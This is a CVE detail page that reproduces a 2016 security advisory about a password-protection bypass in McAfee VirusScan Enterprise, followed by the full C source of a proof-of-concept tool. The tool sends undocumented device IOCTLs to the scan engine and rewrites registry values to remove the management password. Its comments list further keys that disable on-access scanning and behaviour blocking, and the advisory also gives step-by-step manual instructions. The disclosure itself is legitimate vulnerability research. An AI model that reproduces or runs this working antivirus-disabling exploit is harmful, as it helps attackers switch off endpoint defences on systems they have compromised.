CVE-2016-3984 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Security Advisory @ Mediaservice.net Srl (#01, 13/04/2016) Data Security Division Title: McAfee VirusScan Enterprise security restrictions bypass Application: McAfee VirusScan Enterprise 8.8 and prior versions Platform: Microsoft Windows Description: A local Windows administrator is able to bypass the security restrictions and disable the antivirus engine without knowing the correct management password Author: Maurizio Agazzini <[email protected]> Vendor Status: Fixed References: http://lab.mediaservice.net/advisory/2016-01-mcafee.txt http://lab.mediaservice.net/code/mcafee_unprotector.c 1. Abstract. McAfee VirusScan Enterprise has a feature to protect the scan engine from local Windows administrators. A management password is needed to disable it, unless Windows is running in "Safe Mode". >From our understanding this feature is implemented insecurely: the McAfee VirusScan Console checks the password and requests the engine to unlock the safe registry keys. No checks are done by the engine itself, so anyone can directly request the engine to stop without knowing the correct management password. 2. Example Attack Session. The attack can be reproduced in different ways, here are some examples. Example 1: Open the McAfee VirusScan Console and Sysinternals Process Explorer. Under Process Explorer: - Locate the mcconsol.exe process - Type CTRL+L (show lower pane) - Search for all "HKLM\SOFTWARE\McAfee\DesktopProtection" keys - Close all the handles of this registry key Go back to the McAfee Console and: - Go to: Tools -> General Options - Select the "Password Options" tab - Select "No password" and apply settings Now it is possible to stop the antivirus engine. Example 2: A specific tool has been written to request to disable password protection. After running the tool you can disable it via the VirusScan Console. Code: http://lab.mediaservice.net/code/mcafee_unprotector.c 3. Affected Platforms. All McAfee Viruscan Enterprise versions prior to 8.8 without SB10151 are affected. Exploitation of this vulnerability requires that an attacker has local Windows administrator privileges. 4. Fix. On 25 February 2016, version SB10151 hotfix has been relased by McAfee, which fixes the described vulnerability. https://kc.mcafee.com/corporate/index?page=content&id=SB10151 5. Proof Of Concept. See Example Attack Session above. 6. Timeline 07/11/2014 - First communication sent to McAfee 17/11/2014 - Second communication sent to McAfee 17/11/2014 - McAfee: Request to send again vulnerability information 18/11/2014 - Sent vulnerability information and PoC again 11/12/2014 - McAfee: Problem confirmed 09/03/2015 - Request for update to McAfee 06/05/2015 - Request for update to McAfee 06/05/2015 - McAfee: Patch release planned for Q3 20/08/2015 - McAfee: Request for deadline delay (31/03/2016) 25/02/2016 - McAfee: SB10151 patch has been relased Copyright (c) 2014-2016 @ Mediaservice.net Srl. All rights reserved. -- Maurizio Agazzini CISSP, CSSLP, OPST Senior Security Advisor @ Mediaservice.net Srl Tel: +39-011-32.72.100 Via Santorelli, 15 Fax: +39-011-32.46.497 10095 Grugliasco (TO) ITALY http://mediaservice.net/disclaimer "C programmers never die. They are just cast into void" */ /***************************************************************************** * * * McAfee Data Protector "Unprotector" * * * * A little tool to request McAfee scan engine to disable password * * protection. * * * * Advisory: http://lab.mediaservice.net/advisory/2014-01-mcafee.txt * * * * This program can be compiled with MinGW (http://www.mingw.org/) * * * * Copyright (c) 2014 @ Mediaservice.net Srl. All rights reserved * * Wrote by Maurizio Agazzini <inode[at]mediaservice.net> * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License * * as published by the Free Software Foundation; either version 2 * * of the License, or (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 59 Temple Place * * Suite 330, Boston, MA 02111-1307, USA. * * * *****************************************************************************/ #include <stdio.h> #include <windows.h> HANDLE opendevice() { HANDLE result; if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) result = 0; return result; } void main(int argc, char ** argv) { HKEY reg_key = NULL; HANDLE p; DWORD BytesReturned; DWORD data = 0; unsigned long size = 4; DWORD type = REG_DWORD; DWORD data1 = 0; char status[4][70]= { "No password", "Password protection for all items listed", "Password protection for the selected items", "Password protection for conformance to Common Criteria" }; printf("\n *******************************************\n"); printf(" * McAfee Desktop Protection \"Unprotector\" *\n"); printf(" *******************************************\n\n"); /* * The PoC use HKLM\SOFTWARE\McAfee\DesktopProtection\UIPMode registry key to * disable the password protection, but you can also access to others useful * keys. * * User Password * HKLM\SOFTWARE\McAfee\DesktopProtection\UIP * HKLM\SOFTWARE\McAfee\DesktopProtection\UIPEx * * Buffer protection * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\BOPEnabled * * Access protection * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\APEnabled * * On Access Scanner * HKLM\SOFTWARE\McAfee\DesktopProtection\OASState * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\OASEnabled * * Others * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\LockDownEnabled * */ if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, &reg_key) != ERROR_SUCCESS) { if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\\Wow6432Node\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, &reg_key) != ERROR_SUCCESS) { printf("Error opening registry key...\n"); return; } } // Check current status of McAfee protection RegQueryValueEx(reg_key,"UIPMode",NULL, &type,(BYTE *)&data,&size); printf(" [+] Current UIPMode = %d (%s)\n\n", data, status[data]); RegCloseKey (reg_key); // Open McAfee magic device p = opendevice(); printf(" [-] Please John, let me write to your registry keys..."); // Request to the scan engine to stop protect registry keys DeviceIoControl(p, 0x9EDB6510u, 0, 0, 0, 0, &BytesReturned, 0); if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, &reg_key) != ERROR_SUCCESS) if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, &reg_key) != ERROR_SUCCESS) { printf(" hmmm hmmm something went wrong!\n\n"); printf(" [-] Ok John, take the control again!\n"); DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0); CloseHandle(p); return; } printf(" OK\n"); data1 = 0; if( argc > 1 ) data1 = atoi(argv[1]); // Disable McAfee protection if( RegSetValueEx(reg_key, "UIPMode", 0, REG_DWORD, (CONST BYTE *)&data1, sizeof(DWORD)) != ERROR_SUCCESS) printf("\n hmmm hmmm something went wrong!\n"); else printf("\n [+] Thank you! now we got the control! UIPMode = %d\n",data1); RegCloseKey (reg_key); printf("\n [+] Run \"%s %d\" to get original settings\n\n",argv[0],data); // Tell to engine to take control again printf(" [-] Ok John, take the control again!\n"); DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0); CloseHandle(p); }